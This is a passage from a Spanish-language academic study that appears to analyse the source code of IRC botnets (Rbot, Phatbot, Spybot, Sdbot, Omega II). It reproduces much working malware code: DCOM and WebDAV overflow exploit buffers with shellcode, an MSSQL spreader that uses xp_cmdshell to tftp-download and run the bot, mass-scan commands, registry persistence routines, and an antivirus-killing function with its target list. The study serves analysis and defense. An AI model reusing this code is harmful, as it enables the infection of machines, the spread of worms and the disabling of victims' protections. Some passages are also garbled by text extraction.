//Ejecuta el archivo si la transferencia es correcta if (strstr(szBuffer, "+OK RCVD") != NULL) { //Todo correcto fclosesocket(uplsock); fsend(opxsock, "008¬C:\\a.exe\r\n", 14, 0); //Comando de ejecución remota Sleep(500); memset(szBuffer, 0, sizeof(szBuffer)); frecv(opxsock, szBuffer, sizeof(szBuffer), 0); if (strcmp(szBuffer, "001¬Error Executing File\r\n") == 0) { //Error al ejecutar el archivo fclosesocket(uplsock); fclosesocket(opxsock); fWSACleanup(); return FALSE; } } else { fclosesocket(uplsock); //Cerramos los sockets fclosesocket(opxsock); fWSACleanup(); return FALSE; } //Se envía el comando para eliminar el servidor Optix fsend(opxsock, "100¬\r\n", 6, 0); fclosesocket(uplsock); fclosesocket(opxsock); fWSACleanup(); return TRUE;}



Figura 6.24: Código del shellcode Dcom2

Este es el código del buffer que contiene el interprete de comandos que se inyecta para

explotar la vulnerabilidad, en el programa también se declaran más variables, sobre todo

para la establecer las comunicaciones con el módulo de comunicación remoto y para

desbordarlo posteriormente, algunas de ellas no resultan demasiado interesantes, ya tan

sólo se trata de una declaración de una cadena (como la anterior) de decenas de líneas

con código hexadecimal.

Una vez declaradas las variables necesarias, el programa intenta averiguar que sistema

operativo corre el equipo remoto, para comprobar si se puede aplicar le ataque:

Figura 6.25: Detectando la versión del SO

Una vez que sabemos que podemos aplicarlo el ataque, se crea un socket y montamos

las cadenas necesarias a enviar para establecer la comunicación con el procedimiento

remoto.

Finalmente se explota la vulnerabilidad que sigue el siguiente esquema:

int TargetOS = FpHost(exinfo.ip, FP_RPC); if (TargetOS == OS_UNKNOWN || TargetOS == OS_WINNT) return FALSE;

char dcom2_shellcode_buf[]= "\x31\x00\x32\x00\x37\x00\x2e\x00\x30\x00\x2e\x00" "\x30\x00\x2e\x00\x31\x00\x5c\x00\x49\x00\x50\x00" "\x43\x00\x24\x00\x5c\x00" "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" "\xe9\xf3\xfd\xff\xff" "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE";



Figura 6.26: Diagrama de flujo del programa de explotación de la vulnerabilidad

DCOM

FIN. No logrado

¡Conseguido! Bot ejecutado en el equipo remoto

Enviamos Buffer “envenenado”.Explotación de la vulnerabilidad Leemos respuesta del equipo remoto

Se envía cadena Dcom request (bind) de establecimiento de comunicación RPC Lee respuesta del equipo remoto

Se establece conexión

¿Contesta con DCE_PKT_FAULT?

¿Contesta con DCE_PKT_BINDACK?

OK?

Si

Si

Si No

No

No




6.3.9 Upnp spreader

Este módulo aprovecha la vulnerabilidad descubierta en el Universal Plug and play para

Windows XP. Se beneficia de un desbordamiento de buffer para inyectar el código que

permita ejecutar el bot de manera remota en el equipo atacado.

En este caso, el código del programa es bastante sencillo, simplemente monta el buffer

que explota la vulnerabilidad del servicio (previo establecimiento de la conexión) y lo

envía a la ip objetivo, si todo va bien, el equipo objetivo quedará infectado.

Al ser bastante parecido y menos interesante a los casos anteriores no entraremos en

más detalles.

// Conectamos con la direccion IP int iErr = fconnect(sSocket, (LPSOCKADDR)&ssin, sizeof(ssin)); if (iErr==-1) { //Se ha perdido la conexión fclosesocket(sSocket); return FALSE; } // Se envía la cadena “bind” if (fsend(sSocket, dcom2_bindstr, sizeof(dcom2_bindstr)-1, 0) == SOCKET_ERROR) { fclosesocket(sSocket); return FALSE; } frecv(sSocket, szRecvBuf, 4096, 0); // Se lee la respuesta // Si responde con DCE_PKT_BINDACK if (szRecvBuf[2] != DCE_PKT_BINDACK) { fclosesocket(sSocket); return FALSE; } // Envia la peticion envenenada if (fsend(sSocket, szReqBuf, iReqSize, 0) == SOCKET_ERROR) { fclosesocket(sSocket); return FALSE; } // Lee la respuesta frecv(sSocket, szRecvBuf, 4096, 0); //Vemos si es vulnerable if (szRecvBuf[2] == DCE_PKT_FAULT) { fclosesocket(sSocket); return FALSE; } fclosesocket(sSocket); //Todo ha ido bien, hemos conseguido introducir el bot sprintf(sendbuf,"[TFTP]: File transfer complete to IP: %s", exinfo.ip);



6.3.10 MSSQL spreader

En este caso, a diferencia de los anteriores, no se aprovecha de un desbordamiento de

buffer, si no de un fallo en la implementación del Microsoft SQL Server mediante el

cual enviando una consulta en particular es posible acceder a los nombres y las

contraseñas de los usuarios de la base de datos (especialmente a los de los

administradores) que nos permitirá acceder posteriormente y descargar el bot.

Lo primero que realiza el módulo es declarar las variables y establecer una conexión

con la base de datos remota, no entraremos en detalle en este apartado, puesto que

implicaría explicar las librerías de acceso a base de datos de C++, lo cual se sale un

poco del tema a tratar.

Una vez establecida la conexión (en el caso que sea posible), pasamos a recolectar las

contraseñas de los usuarios en los que estemos interesados (los administradores).

char database[]="", *users[]={"sa","root","admin",NULL};

Finalmente, una vez que hemos conseguido un nombre de usuario y una contraseña con

los permisos adecuados, pasamos a ejecutar los comandos que queramos en la base de

datos (La orden de descargar el bot y de ejecutarlo).




6.3.11 WebDav spreader

Aprovechando una vulnerabilidad en el servidor Web de Microsoft IIS 5.0, este módulo

explota un desbordamiento de buffer que permite ejecutar código en el servidor remoto.

El mayor problema es que dicho servidor se instalaba por defecto en todas las versiones

de Windows 2000, debido a esto puede afectar a un número muy grande de equipos.

Es interesante destacar que el buffer que se envía para comprometer el servidor, es una

petición Web (evidente si pensamos que estamos atacando un servidor de este tipo)

Se implementa de la siguiente manera:

En primer lugar define el código de salto y el cuerpo de la petición

sprintf((char *)constr, "DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s",exinfo.ip,exinfo.port,users[i],passwords[j],database); //Consulta que nos permite consultar la contraseña de un usuario determinado SQLRETURN nResult = fSQLDriverConnect(hDbc, NULL, constr, (SQLSMALLINT)strlen((char *)constr), szOutConn, 1024, &sLen, SQL_DRIVER_NOPROMPT); if (nResult == SQL_SUCCESS || nResult == SQL_SUCCESS_WITH_INFO) { fSQLAllocHandle(SQL_HANDLE_STMT,hDbc, &hStmt); //Si estamos dentro... sprintf((char *)command,"EXEC master..xp_cmdshell 'tftp -i %s GET %s'", GetIP(exinfo.sock),filename); if (fSQLExecDirect(hStmt, (SQLTCHAR*)&command, SQL_NTS) != SQL_SUCCESS) { Sleep(5000); //Ejecutamos la descarga sprintf((char *)command,"EXEC master..xp_cmdshell '%s'", filename); //Ordenamos ejecucion sprintf(sendbuf,"[TFTP]: File transfer complete to IP: %s", exinfo.ip);



Figura 6.29: cuerpo de petición para WEBDAV

Posteriormente, una vez en el programa principal y después de declarar las variables, se

pasa a construir el buffer con el shellcode:

Figura 6.30: código de la explotación del sistema

char jumpcode[] = "\x8b\xf9\x32\xc0\xfe\xc0\xf2\xae\xff\xe7"; char body[] = "<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n" "<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n" "</g:searchrequest>\r\n";

// Contruimos el buffer con el shelcode memset(scbuf+iPos, '\x90', iNOPSize); // 0x90= No operacion, introducimos una iPos += iNOPSize; //cantidad determinada de NOP´s memcpy(scbuf+iPos, sc, scsize ); iPos += scsize; scbufsize = iPos; iPos = 0; // Contruimos el request memset(reqbuf, 0, 100000); strcpy(reqbuf, "SEARCH /"); DWORD j, i = strlen(reqbuf); reqbuf[i] = '\x90'; for(j=i+1; j<i+2150; j+=2) { memcpy(reqbuf+j, &ret, 2); iPos+=2; } // EIP será buffer[8+2087] for(;j<i+65535-strlen(jumpcode);j++) reqbuf[j] = '\x90'; // El resto será completado con NOP´s . La dirección de retorno debe apuntar aquí memcpy(reqbuf+j, jumpcode, strlen(jumpcode)); // Nos saltamos el cuerpo del HTTP request strcat(reqbuf, " HTTP/1.1\r\n"); sprintf(reqbuf+strlen(reqbuf), "Host: %s\r\nContent-Type: text/xml\r\nContent-Length: %d\r\n\r\n", exinfo.ip, strlen(body)+scsize); strcat(reqbuf, body); memset(reqbuf+strlen(reqbuf), 0x01, 1); memset(reqbuf+strlen(reqbuf), 0x90, 3); memcpy(reqbuf+strlen(reqbuf), scbuf, scsize); reqbufsize = strlen(reqbuf); // Enviamos el paquete de request if (fsend(sSocket, reqbuf, reqbufsize, 0) == SOCKET_ERROR) { free(reqbuf); free(sc); fclosesocket(sSocket); return FALSE; }



6.4 Ordenando el análisis.

Los comandos disponibles para ordenar a un bot o a una botnet analizar redes para

encontrar equipos vulnerables varían de una familia a otra.

En el bot Omega II, la orden para usar este módulo era:

� � "��/��0��$1�/�$2��1�

Al aumentar la variedad de modos de infección, se comprobó que era más eficiente

integrar todos los tipos de análisis bajo un mismo comando, así en el bot Spybot, los

análisis se ordenan de la siguiente manera:

!scan <dirección ip> <nº hilos> <retraso> <tipo>

Pudiendo ser <tipo> cualquiera de los implementados: Kuang (sintaxis: kuang), NetBios

(sintaxis: nb) o NetDevil (sintaxis: devil). Sin duda, su mayor inconveniente era que no

permitía introducir un rango de direcciones con la que trabajar, con lo que teníamos que

usar scripts para automatizar las tareas.

Donde podemos encontrar más versatilidad es en advscan, que se usó en Rbot. Este

comando permitía añadir módulos de nuevas vulnerabilidades de una manera rápida y

sencilla, y al mismo tiempo era capaz de manejar muchos tipos de análisis distintos. Las

principales novedades de este módulo de análisis eran:

• Permitía el uso de rangos de direcciones IP

• Permitía analizar direcciones de manera aleatoria en cualquier rango

• Contaba con un modo silencioso, sin replica por parte del bot. Esto ayudaba a no

generar sospechas en el servidor IRC

• Permitía programar el análisis para finalizar pasado un tiempo determinado



La sintaxis es la siguiente:

.advscan <módulo> <nºhilos><retraso><opciones>

Las opciones:

-r: Análisis aleatorio, por defecto en el mismo rango de direcciones

desde el que estamos conectados, es decir si conectamos desde

85.150.23.23 se analizará el rango 85.150.x.x

-b: Análisis en el mismo rango pero en modo secuencial.

-a: Análisis de largo rango (Ej.: 85.0.0.0 a 85.x.x.x)

-s: Modo silencioso

-x: Rango de IP´s

Una lista de cómo se usa este comando con los diferentes módulos de explotación de

vulnerabilidades (Para todos los ejemplos se usa 100 hilos con un retraso de 5 segundos

e indefinidamente (999)).



Figura 6.31: Comandos para el análisis de equipos

Al ordenar el análisis, los bots conectados responderán algo parecido a lo que hemos

realizado en el laboratorio:

.advscan lsass 100 5 999 -r * Lsass Exploit puerto 445

.advscan iis5ssl 100 5 999 -b * IIS 5 SSL Exploit puerto 443

.advscan dcom135 100 5 999 -a * Dcom Exploit puerto 135

.advscan dcom445 100 5 999 -r -s * Dcom Exploit puerto 445

.advscan dcom1025 100 5 999 -b -s * Dcom Exploit puerto 1025

.advscan dcom2-135 100 5 999 -a -s * Dcom2 Exploit puerto 135

.advscan dcom2-445 100 5 999 -r * Dcom2 Exploit puerto 445

.advscan beagle1 100 5 999 -r * Bagle Exploit puerto 2745

.advscan beagle2 100 5 999 -r * Bagle2 Exploit puerto 2745

.advscan webdav 100 5 999 -r * WebDav Exploit puerto 80

.advscan wkssvc 100 5 999 -r * Wks Exploit puerto 135

.advscan wkssvc2 100 5 999 -r * Wks Exploit puerto 445

.advscan dameware 100 5 999 -r * DameWare Exploit puerto 6129

.advscan upnp 100 5 999 -r * UPNP Exploit puerto 5000

.advscan mydoom 100 5 999 -r * MyDoom Exploit puerto 3127

.advscan netbios 100 5 999 -r * NetBios Exploit puerto 139

.advscan ntpass 100 5 999 -r * NB+NP Exploit puerto 445

.advscan mssql 100 5 999 -r * MSSQL Exploit puerto 1433 advscan optix 100 5 999 -r * Troyano Optix puerto 3410 .advscan sub7 100 5 999 -r * Troyano Sub7 puerto 27374 .advscan netdevil 100 5 999 -r * Troyano NetDevil puerto 901 .advscan netdevil2 100 5 999 -r * Troyano NetDevil puerto 903 .scanstats * Estadísticas de análisis .scanstop * Detiene el análisis



Figura 6.32: Captura del bot en acción

Finalmente, Phatbot/Agobot opta por un nuevo sistema, distinto al de Rbot, en el que

el análisis se ordena mediante una serie de acciones:

1. Se añade un rango de direcciones a la botnet:

��

2. Indicamos los módulos de vulnerabilidad que deseemos usar:

��

� O deshabilitamos los que no queramos usar:

� � � ��

3. Finalmente ordenamos el análisis, que se realizará en el rango determinado con

las vulnerabilidades cargadas:

��

� O bien podemos ordenar directamente cargar todos los módulos y ordenar el

análisis:



� � � ��

4. Finalmente, para detener el análisis:

� � � ��

Este sistema es enormemente modular, permite añadir funciones de una manera sencilla.

Se comenta a continuación el diagrama UML de las principales clases que hacen posible

implementar el análisis de redes en este bot.

La clase principal es CScannerBase en la cual se basan todos los módulos de

vulnerabilidades posteriores:

NOT LICENSED

NOT LICENSED

NOT LICENSED

CScannerBase

+m_sScannerName: CString+m_sSocket: CSocket+m_pNetRange: CNetRange

+CScannerBase()+~CScannerBase()+Run(): void*+Exploit(): bool+SendLocal(szFormat:const char*, :...): void

Con la clase base del analizador, será relativamente sencillo añadir clases con diversas

funcionalidades:

NOT LICENSED

NOT LICENSED

CScannerBagle

+CScannerBagle(:void)+~CScannerBagle()+Exploit(:void): bool

NOT LICENSED

NOT LICENSED

CScannerSASSER

+CScannerSASSER(:void)+~CScannerSASSER()+Exploit(:void): bool

NOT LICENSED

NOT LICENSED

CScannerDCOM

+CScannerDCOM()+~CScannerDCOM()+Exploit(): bool



De manera general, con todas las vulnerabilidades, el diagrama quedaría de la siguiente

manera:

Figura 6.33: Código UML de Phatbot



6.5 Proceso de infección en el sistema comprometido

Una vez que el programa ha conseguido penetrar en el sistema, de una manera u otra, y

logra ejecutarse en el equipo, lo primero que intentará, es poder volver a ejecutarse de

nuevo en el caso de que sea descargado de memoria (porque se mate el proceso o se

apague el equipo) con la finalidad de garantizar el acceso posteriormente, para ello

intentará modificar algunos de los archivos que el sistema operativo lanza al inicio (bien

un archivo o el registro de Windows)

La mayoría de los bots estudiados cumplen esta característica, sobre todos los de las

grandes familias, este apartado es muy importante en todos ellos, ya que es inútil perder

tiempo intentando comprometer un sistema para perder el acceso a él posteriormente tan

fácilmente.

Por tanto vamos a ver en este apartado cómo realizan esta modificación en el sistema

alguno de los bots estudiados anteriormente.

• Data Spy Network (DSNX): Si se observan las líneas de configuración del bot

(aunque este bot posee una GUI, no se permite alterar su valor) se encuentran la

declaración de dos variables:

char g_InstallTo[]="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\0";

char g_IKey[] = "WinDSNX\0";

Que indican la dirección del registro donde se introducirá la clave y el

nombre de la clave.

Posteriormente, en el código del programa principal, la función int DoInfect()

se encarga de introducir los valores en el registro:



Figura 6.34: Función Doinfect ()

Para comprender mejor el código anterior y los siguientes, vamos a necesitar

explicar antes algunas funciones de acceso al registro:

int DoInfect() { int iRet=0; char *cSys = new char[256],*cReg; GetSystemDirectory(cSys,256); //Obtiene el directorio del sistema //¿Estamos en el directoio system? if (strncmp(g_EXEName,cSys,lstrlen(cSys)) != 0) { char *cOpy = new char[300]; sprintf (cOpy,"%s\\win%s.exe",cSys,RandomText(4)); //Introducimos el nombre CopyFile(g_EXEName,cOpy,FALSE);//Del ejecutable y los copiamos g_Del = strcpy(new char[lstrlen(g_EXEName)],g_EXEName); g_EXEName = cReg =cOpy; iRet =-1; } else cReg = g_EXEName; HKEY hKey; //Introducimos el valor con el nombre del ejecutable en el reg. if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,g_InstallTo,0,KEY_ALL_ACCESS,&hKey) !=0) return 1; //Si conseguimos abrir la clave RegSetValueEx(hKey,g_IKey,0,REG_SZ,(unsigned char*)cReg,lstrlen(cReg)); RegCloseKey(hKey); //Establecemos el valor y cerramos return iRet;}



Figura 6.35: Explicación de algunas funciones útiles

• OMEGA II: La configuración del inicio se realiza a través de un fichero .c

externo que contiene los prototipos y el desarrollo de las funciones que

introducen los valores en el registro:

UINT GetSystemDirectory(LPTSTR lpBuffer,UINT uSize): Devuelve el directorio de sistema Parámetros:

LPTSTR lpBuffer : Puntero al buffer que contiene la ruta (Parámetro de salida) UINT uSize: Tamaño máximo del buffer (Parámetro de entrada) BOOL CopyFile(LPCTSTR lpExistingFileName ,LPCTSTR lpNewFileName,BOOL FailIfExists):Copia un fichero en uno nuevo. Parámetros: LPCTSTR lpExistingFileName: Cadena con el nombre del fichero origen. LPCTSTR lpNewFileName: Cadena con el nombre del fichero destino. BOOL FailIfExists: Si existe el fichero, cancelamos (true) o reemplazamos (false) LONG RegOpenKeyEx(HKEY hKey,LPCTSTR lpSubKey,DWORD ulOptions,REGSAM samDesired, PHKEY phkResult): Abre una llave del registro Parámetros: HKEY hKey: Manejador de clave de registro para abrir LPCTSTR lpSubKey: Cadena con la subclave DWORD ulOptions: Reservado. REGSAM samDesired: Permisos para el acceso a la clave PHKEY phkResult: Puntero a una variable que recibe un manejador de una clave abierta LONG RegSetValueEx(HKEY hKey,LPCTSTR lpValueName,DWORD Reserved, DWORD dwType, const BYTE* lpData,DWORD cbData): Introduce el valor y el tipo en el registro. Parámetros: HKEY hKey: Manejador de clave del registro. LPCTSTR lpValueName: Cadena con el nombre del valor a introducir. DWORD Reserved: Reservado, debe ser 0. DWORD dwType: Tipo de dato apuntado por lpdata const BYTE* lpData: Puntero al buffer que contiene los datos a ser guardados. , DWORD cbData: Tamaño de la información apuntada por lpdata.



Figura 6.36: Fichero startup.c

• Spybot: No introduce información en el registro, carga unas líneas en System.ini

para indicar al sistema el inicio al arranque.

Esto lo realiza en su misma función principal: int WINAPI WinMain

Figura 6.37: Fragmento de WinMain del bot spybot

• Sdbot: En este, en el archivo de configuración del bot, se permite modificar

incluso el nombre del valor que será introducido en el registro(junto al nombre

que tomará el ejecutable al iniciarse), además permite mediante una variable

global activar o desactivar esta característica:

#ifndef UNIX void runkey(const char *key_name) { HKEY hkey; char *appname = alloca(MAX_PATH); GetModuleFileName(GetModuleHandle(NULL), appname, MAX_PATH); RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hkey, NULL); RegSetValueEx(hkey, key_name, 0, REG_SZ, (const unsigned char *)appname, strlen(appname) + 1); RegCloseKey(hkey);} #endif void startup() { #ifndef UNIX runkey("SVCHOST"); #else #endif }

char explorer_ini[250]; sprintf(explorer_ini,"explorer.exe %s",filename); //Copiamos el valor que queramos GetWindowsDirectory(sysdir, sizeof(sysdir)); //Obtenemos la ruta del directorio //de windows strcat(sysdir,"\\system.ini"); //El archivo al que queremos acceder WritePrivateProfileString("boot","shell",explorer_ini,sysdir); //Copia la cadena en la seccion indicada, en este caso el archivo infectado



Figura 6.38: Fragmento del archivo de configuración de sdbot

Si el valor es verdadero y se consigue la infección, el bot se copiará en una gran

variedad de claves de registro, haciendo más difícil su eliminación.

Figura 6.39: Fragmento de código con las claves del registro

• PhatBot/Agobot: Las características principales para este bot son:

1. La GUI de este bot si permite modificar los elementos de configuración

que se carguen al comienzo, así cómo activar o desactivar esta

funcionalidad.

2. Está diseñado para ejecutarse en el inicio de sistemas Windows y

sistemas Linux

3. Permite ejecutarse como proceso o como servicio.

Sin embargo, el código no es tan fácil de entender a primera vista como los

anteriores y sería largo de explicar cómo llama a todas las funciones y cómo se

const char filename[] = "syscfg32.exe"; // Nombre del ejecutable const BOOL AutoStart = TRUE; //¿Autostart activado? const char valuename[] = "Configuration Loader"; //Valor del valor de la clave

if (AutoStart) { RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL); RegSetValueEx(key, valuename, 0, REG_SZ, (const unsigned char *)&filename1, sizeof(filename)+1); RegCloseKey(key); RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL); RegSetValueEx(key, valuename, 0, REG_SZ, (const unsigned char *)&filename1, sizeof(filename)+1); RegCloseKey(key); RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\RunServices", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL); RegSetValueEx(key, valuename, 0, REG_SZ, (const unsigned char *)&filename1, sizeof(filename)+1); RegCloseKey(key); RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL); RegSetValueEx(key, valuename, 0, REG_SZ, (const unsigned char *)&filename1, sizeof(filename)+1); RegCloseKey(key); RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL); RegSetValueEx(key, valuename, 0, REG_SZ, (const unsigned char *)&filename1, sizeof(filename)+1); RegCloseKey(key); }



realiza cada parte, cosa que en el fondo tampoco se diferencia tanto de los bots

anteriores. Si se muestra el esquema UML de las clases incluidas en los archivos

installer.cpp e installer.h que son los encargados de esta tarea.

Figura 6.40: Código UML del instalador en el inicio de Phatbot

6.6 Protección del bot

Una vez que el objetivo está comprometido y se ha asegurado de poder iniciar el bot en

cada arranque del sistema operativo, el siguiente paso es intentar pasar el mayor tiempo

posible desapercibido y activar mecanismos que impidan la detección o la eliminación

del programa que se ha conseguido introducir.

Los mecanismos de protección se basan en interferir o eliminar procesos o servicios del

sistema operativo, como puede ser el administrador de tareas (Taskmanager) o antivirus

y Firewalls. Esta característica viene implementada en una gran cantidad de bots que

hemos estudiado, pero cada uno la realiza de manera distinta.

Analicemos los más destacados:

• Omega II: A pesar de incluir esta característica, el hecho de no eliminar los

procesos “molestos” en la instalación del programa, si no como un comando del

bot, hace que sea vulnerable a una detección temprana:



El comando ("3�-��%��+��todos los procesos y servicios que coincidan con los

encontrados en el fichero kav.c, marcándolos para eliminación posterior, con lo

que no se iniciarán cuando se apague el sistema.

Un fragmento de dicho archivo kav.c

:

const char *av_list[] = {

"_avp",

"_avp32",

"_avpcc",

"_avpm",

"_findviru",

"ackwin32",

"advxdwin",

"agentw",

"alertsvc",

"alogserv",

"amon",

"amon9x",

"anti-trojan",

"ants",

"aplica32",

"apvxdwin",

"atcon",

"atguard",

"atupdater",

"atwatch",

"autotrace",

"avconsol",

"ave32",

"avgcc32",

"avgctrl",

........}

Una lista de aproximadamente 300 procesos y servicios de protección del

sistema. Este archivo también contiene la implementación de las funciones que

se encargan de matar dichos procesos y marcarlos para su eliminación, para ello

se desarrollan int killav(void) y int killsvc(void), La primera se



encarga de los procesos de los antivirus y firewalls, mientras que la segunda se

encarga de los servicios.

Hay que indicar aquí que el código original de este modulo no es del creador del

bot, si no que pertenece a un programa desarrollado por r-22 denominado kill

anti-virus, adaptado para esta situación.

Se estudiarán dichas funciones, para aprender cómo se realizan los cambios en el

sistema:

Lo primero que se hace en este módulo es definir una estructura para guardar los

datos del proceso:

Figura 6.41: Estructura de entada de procesos.

Como anteriormente, dado el poco conocimiento que se pueda tener del manejo

de procesos en Win32, se detalla la implementación de algunas funciones

importantes que nos ayuden a entender el posterior código fuente.

typedef struct tagPROCESSENTRY32 { DWORD dwSize; DWORD cntUsage; DWORD th32ProcessID; DWORD *th32DefaultHeapID; DWORD th32ModuleID; DWORD cntThreads; DWORD th32ParentProcessID; LONG pcPriClassBase; DWORD dwFlags; TCHAR szExeFile[MAX_PATH]; } PROCESSENTRY32, *PPROCESSENTRY32, *LPPROCESSENTRY32;



Figura 6.42: Funciones de utilidad en el manejo de procesos

Se comienza por el código de la función que se encarga de los procesos:

FARPROC GetProcAddress(HMODULE hModule,LPCSTR lpProcName): Devuelve la dirección de una función o variable exportada desde una DLL. Parámetros: HMODULE hModule: Manejador del módulo que contiene la Función o variable. LPCSTR lpProcName: Puntero a la cadena que especifica la función o el nombre de la variable. HANDLE OpenProcess(DWORD dwDesiredAccess,BOOL bInheritHandle,DWORD dwProcessId): Abre un proceso existente Parámetros: DWORD dwDesiredAccess: Acceso al proceso objetivo. Comprueba los permisos de acceso. BOOL bInheritHandle: DWORD dwProcessId: identificador del proceso a abrir BOOL TerminateProcess(HANDLE hProcess,UINT uExitCode):Acaba el proceso especificado y todos sus hilos. Parámetros: HANDLE hProcess: Manejador del proceso a terminar UINT uExitCode: Código de terminación usado por el proceso y sus hilos como resultado de esta llamada



Figura 6.43: Función killav

Y ahora el código que se encarga de eliminar los servicios del sistema, aunque

antes vamos comentar algunas funciones útiles:

int killav(void) { // anti-virus process killer HINSTANCE kernel32_dll; HANDLE psnap; PROCESSENTRY32 pe32; DWORD pid; HANDLE hproc; char exefile[256]; int k; u_short m; // Cargamos kernel32.dll Y las funciones requeridas en memoria kernel32_dll = LoadLibrary("kernel32.dll"); if (kernel32_dll) { lpProcess32First = (P32F)GetProcAddress(kernel32_dll, "Process32First"); lpProcess32Next = (P32N)GetProcAddress(kernel32_dll, "Process32Next"); lpCreateToolhelp32Snapshot = (CT32S)GetProcAddress(kernel32_dll, "CreateToolhelp32Snapshot"); if (lpProcess32First && lpProcess32Next && lpCreateToolhelp32Snapshot) { //Si todo ha ido correctamente //Capturamos una “imagen” de todos los procesos que estén ejecutándose en el sistema psnap = lpCreateToolhelp32Snapshot(TH32CS_SNAPALL, 0); if (psnap != INVALID_HANDLE_VALUE) { // Hacemos un bucle sobre la imagen comprobando cada entrada pe32.dwSize = sizeof(PROCESSENTRY32); if (lpProcess32First(psnap, &pe32)) { do { for (k = 0; k < (sizeof(av_list) / sizeof(LPTSTR)); k++) { // Si encuentra un antivirus con el nombre de ejecutable que coincida pid = pe32.th32ProcessID; strcpy(exefile, pe32.szExeFile); for (m = 0; m < strlen(exefile); m++) exefile[m] = tolower(exefile[m]); // Abrimos el proceso y lo matamos hproc = OpenProcess(PROCESS_TERMINATE, FALSE, pid); if (strncasecmp(exefile, av_list[k], sizeof(av_list[k])) == 0) TerminateProcess(hproc, (DWORD) -1); } pe32.dwSize = sizeof(PROCESSENTRY32); }while(lpProcess32Next(psnap, &pe32)); }}}}return 0;}



Figura 6.44: Funciones útiles en el manejo de servicios

SC_HANDLE OpenSCManager(LPCTSTR lpMachineName,LPCTSTR lpDatabaseName,DWORD dwDesiredAccess): Establece una conexión al gestor de control de servicios en el ordenador especificado y abre la base de datos de dicho gestor de servicios.

Parámetros: LPCTSTR lpMachineName: Nombre del ordenador objetivo LPCTSTR lpDatabaseName: Nombre de la base de datos del gestor de servicios a abrir DWORD dwDesiredAccess: Acceso al gestor de control de servicios

BOOL EnumServicesStatus(SC_HANDLE hSCManager,DWORD dwServiceType,DWORD dwServiceState,LPENUM_SERVICE_STATUS lpServices,DWORD cbBufSize,LPDWORD pcbBytesNeeded,LPDWORD lpServicesReturned,LPDWORD lpResumeHandle):Enumera servicios de la base de datos de control de servicios. Parámetros SC_HANDLE hSCManager: Manejador de la base de datos del gestor DWORD dwServiceType: Tipo de servicio a enumerar DWORD dwServiceState: Estado del servicio a enumerar LPENUM_SERVICE_STATUS lpServices: Puntero a un buffer que contiene un

array de estructuras que recibe el nombre y la información del estado del servicio de cada uno de ellos en la base de datos.

DWORD cbBufSize: Tamaño del buffer al que apunta lpServices LPDWORD pcbBytesNeeded: Puntero a la variable que recibe el numero de

bytes necesarios para devolver la entrada al servicio. LPDWORD lpServicesReturned: Numero de servicios que devuelve LPDWORD lpResumeHandle: Recibe el puntero de comienzo de la

enumeración de servicio. BOOL ControlService(SC_HANDLE hService,DWORD dwControl, LPSERVICE_STATUS lpServiceStatus): Envía un código de control a un servicio. Parámetros: SC_HANDLE hService: Manejador del servicio DWORD dwControl: Código de control a enviar LPSERVICE_STATUS lpServiceStatus: Última información del

estado del sistema.

SC_HANDLE OpenService(SC_HANDLE hSCManager,LPCTSTR lpServiceName,DWORD dwDesiredAccess): Abre un servicio existente Parámetros: SC_HANDLE hSCManager: Manejador de la base de datos del LPCTSTR lpServiceName: Nombre del servicio a abrir. DWORD dwDesiredAccess: Acceso al servicio.



Ahora pasamos a ver el código fuente del módulo:

Figura 6.45: Código fuente de killsvc

• Spybot:

1. Tras la instalación del bot en system.ini, se define una variable global para

activar o desactivar esta característica.

2. Se comprueba que está definido a verdadero (#ifdef

Use_Firewall_killer)

3. Si es así se lanza un hilo en segundo plano que llama a la función que se

encarga de esta tarea:

CreateThread(NULL, 0, &kill_av, NULL, 0, &id);

Esta función se ejecuta de manera continua y llama a la función int

listProcesses(SOCKET sock,char *chan,char *proccess,BOOL

